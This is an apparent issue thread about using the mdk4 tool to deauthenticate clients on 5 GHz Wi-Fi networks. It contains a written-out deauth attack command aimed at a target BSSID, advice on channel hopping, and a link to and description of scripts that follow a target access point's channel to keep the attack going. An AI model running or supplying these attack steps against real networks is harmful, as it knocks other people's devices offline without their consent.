how to deauth a 5ghz wifi

[jinglei207]

This is my code mdk4 wlan0 d -c[36,56,100] -B xx:xx:xx:xx:xx. The problem is that it changes channel every 3 second (if I'm not wrong), even when the channel has stations to deauth. How to set it to hup only when the channel has no station to deauth. Thanks.

The default is hopping every 3 second It can't do like you said now. Without hopping, only one channel can be set

Is there any way to use an independent adapter to track the channel and the main adapter hops only when the channel changes.

@jinglei207 i have wrote a bash script not in very good format but it does exactly what you said, it hunts the channel of the bssid.one adapter is scanning for the bssid channel and if the channel changes it reruns the mdk4 in that channel without loosing time hopping in other channels, i will try to write it in python and c when i have more time https://github.com/zartaz/Mdk4_deauther/blob/master/zartdeauther.sh

I took the personal challenge to make my first tmux bash script from this ; you can put the code below in a file make it executable and run it with bash from within a blank tmux session. Then it will run also in a headless setup without x etc. in panes within your terminal window. You can add multiple macs just make sure they are on the same channel and broadcast the same name. If you need to deauth both 2.4ghz and 5ghz ap's then run a 2nd setup for the 5ghz channels and input all the 5ghz macs. (or maybe someone can upgrade the script to use a 3rd adapter and 2nd deauth tmux pane for 5ghz)
